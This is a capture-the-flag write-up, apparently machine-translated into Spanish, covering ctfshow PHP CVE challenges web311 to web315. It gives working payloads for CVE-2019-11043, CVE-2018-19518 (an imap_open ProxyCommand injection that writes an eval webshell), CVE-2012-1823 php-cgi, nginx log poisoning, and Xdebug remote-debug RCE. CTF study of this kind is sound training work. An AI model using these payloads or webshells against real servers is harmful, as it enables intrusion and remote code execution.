ctfshow phpCVE web311-web315 wp

Puede ser un poco largo escribir, registre el proceso de hacer las preguntas usted mismo

web311:CVE-2019-11043

phpCVE, abra solo uno donde está la página de bandera, el comentario solo dice cve

Así que fui a Baidu a echar un vistazo y descubrí que esto es demasiado. Consulte la descripción del propietario del grupo.

似曾相识,就这一个文件，不用扫描

emmm, agarremos una bolsa primero

Respuesta de detección de paquetes: X-Powered-By: PHP/7.1.33dev

Luego fui a buscar y descubrí por qué la versión de corrección de muchas vulnerabilidades es 7.1.33. o tratar

La búsqueda de php7.1.33 encontró principalmente CVE-2019-11043, una vulnerabilidad de ejecución remota de código

La vulnerabilidad se encuentra en la función env_path_info del módulo PHP-FPM, y en una configuración específica de nginx + php-fpm es posible la ejecución de código por parte de los usuarios de la web. La vulnerabilidad requiere una configuración específica en nginx.conf para activarse. La configuración es la siguiente

location ~ [^/]\.php(/|$) {
    
    
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

Use %0a (nueva línea) para romper la expresión regular, haciendo que PATH_INFO esté vacío

Condición de explotación: nginx está configurado con fastcgi_split_path_info

Sistemas afectados: PHP 5.6-7.x, Nginx>=0.7.31

La reproducción requiere un entorno golang.

Pase a ver si el servidor tiene un entorno golang, y si no, instale uno por cierto (principalmente porque el servidor se instala rápido sin mi tráfico)

sudo apt install golang

Herramienta de instalación:

git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build

pregunta:

Ejecute go get -v && go build y siempre no habrá respuesta
porque go proxy tiene como valor predeterminado proxy.golang.org, al que no se puede acceder en China.
Ejecute el comando para cambiar el proxy: go env -w GOPROXY=https:/ /goproxy.cn
y ejecute go get -v otra vez && go build

explotar

go run . "http://92cdd785-55c4-4b35-85fa-ae1dc7fdc367.challenge.ctf.show/index.php"

Entonces, no sé por qué, a veces hay un eco al ejecutar el comando y, a veces, no hay un eco al ejecutar el comando.

En resumen, ejecute ?a=ls varias veces y verá que hay un fl0gHe1e.txt en el directorio actual

acceso directo

web312:CVE-2018-19518

Todavía toma el paquete primero:

Servidor: nginx/1.21.1

Desarrollado por X: PHP/5.6.38

Baidu esta versión de php, mi Baidu llegó CVE-2018-19518 (vulnerabilidad de ejecución de comando remoto)

Introducción a la vulnerabilidad

La extensión php imap se utiliza para realizar operaciones de envío y recepción de correo electrónico en PHP. Su función imap_open llamará a rsh para conectarse al shell remoto, y debian/ubuntu usa ssh en lugar de rsh de forma predeterminada (es decir, en los sistemas de la serie Debian, el comando ssh se ejecuta cuando se ejecuta el comando rsh).
Debido a que se puede llamar al comando de terceros configurando -oProxyCommand= en el comando ssh, el atacante inyecta este parámetro a través de la inyección, lo que eventualmente conducirá a una vulnerabilidad de ejecución del comando.

Afecta a la versión

PHP: 5.6.38
Sistema: Debian/ubuntu

Después de leer esta introducción, es obvio que se ha encontrado el vacío legal correcto. Baidu encontrará uno recurrente.

explotar

Solo envía un paquete

Luego base64 codifique el contenido que desea enviar

Primero <?php @eval($_POST[mumuzi]);?>base64 codifique el

Luego echo "PD9waHAgQGV2YWwoJF9QT1NUW211bXV6aV0pOz8+" | base64 -d >/var/www/html/ma.phpbase64 codifique el

obtener ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzIxMWJYVjZhVjBwT3o4KyIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvbWEucGhw

Nota : si contiene + = después de la codificación base64, debe estar codificado en url, es decir, %2b %3d. Por lo tanto, para asegurarse de que no habrá errores, es mejor codificar en url el codificado en base64. cadena obtenida. Los pasos equivalentes son la codificación base64 primero, luego la codificación URL

Luego reemplace el contenido del nombre de host conx+-oProxyCommand%3decho%09编码后的内容|base64%09-d|sh}

cual esx+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzIxMWJYVjZhVjBwT3o4KyIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvbWEucGhw|base64%09-d|sh}

Aunque hay un error, pero al visitar ma.php se encuentra que esta página ya existe

ejecutado con éxito

web313:CVE-2012-1823

¿Todavía dónde está la bandera? Viejas reglas para capturar paquetes

Esta vez es X-Powered-By: PHP/5.4.1

Google encontró CVE-2012-1823, buen chico, este tema (CGI) que no ha sido reproducido por catf1ag se puede encontrar en el análisis de la vulnerabilidad de ejecución remota de código PHP-CGI (CVE-2012-1823) en el blog de Pshen.

Debido a que lo hice una vez antes, golpeé directamente la carga útil aquí.

carga útil final

/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

<?php echo system("cat /somewhere/fla9.txt"); ?>

web314: El archivo de registro contiene

<?php

error_reporting(0);

highlight_file(__FILE__);

//phpinfo
$file = $_GET['f'];

if(!preg_match('/\:/',$file)){
    
    
    include($file);
}

Cabe decir que la bandera esta en phpinfo

Los dos puntos se filtran aquí, me pregunto si web81 también filtra los dos puntos, e incluso filtra php y datos

Luego miré el wp de web81 escrito e intenté seguir la operación.

éxito

Extraño, ¿por qué no dices que no?

Eche un vistazo al directorio raíz, la bandera oh está en el directorio raíz

finalmente:

GET /?f=/var/log/nginx/access.log
UA写User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36<?php system('cat /fl6g');?>

Puede visitarlo nuevamente después de enviar el paquete,
entonces, ¿qué tiene esto que ver con CVE?

web315:XDebug vulnerabilidad de depuración remota

¿Por qué se recomienda un entorno alternativo?

PHP/7.1.12, descripción del título: depuración habilitada, puerto 9000

Vaya a Baidu para depurar 9000 CVE

El primero es ctfshow PHPCVE wp. . .

Este es también el proceso de hacerlo usted mismo, así que solo mírelo directamente.

Vulnerabilidad de depuración remota de XDebug : https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce

influencia

XDebug es una extensión para PHP utilizada para depurar código PHP. Si el objetivo tiene habilitado el modo de depuración remota y configure remote_connect_back = 1:

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

Bajo esta configuración, cuando accedemos http://target/index.php?XDEBUG_SESSION_START=phpstorm, el XDebug del servidor de destino se conectará a la IP del visitante (o X-Forwarded-Forla dirección especificada por el encabezado) y se comunicará con él a través del protocolo dbgp.Podemos ejecutar cualquier código PHP en el servidor de destino a través del método eval proporcionado en dbgp .

explotar

Dado que es necesario utilizar el protocolo dbgp para comunicarse con el servidor de destino, la vulnerabilidad no se puede reproducir con el protocolo http.

Ya hay scripts escritos: https://github.com/vulhub/vulhub/blob/master/php/xdebug-rce/exp.py

python3 exp.py -t http://be189f8f-1425-41a8-b830-87f722a186df.challenge.ctf.show/index.php -c 'shell_exec("ls /");'

Nota : Debido a que la comunicación es un proceso de conexión inversa, después de iniciar exp.py, en realidad escuchará el puerto local 9000 (que se puede especificar con el parámetro -l) y esperará a que se conecte XDebug, por lo que el servidor que ejecuta el el script debe tener una IP de red externa (o en la misma intranet que el servidor de destino)

Lo he intentado varias veces sin éxito. No es de extrañar que el propietario del grupo recomiende el uso de un entorno alternativo en la descripción.
Luego pida al grupo que se especialice en el acceso al entorno de espera
.

Hasta ahora, la sección de phpCVE ha terminado.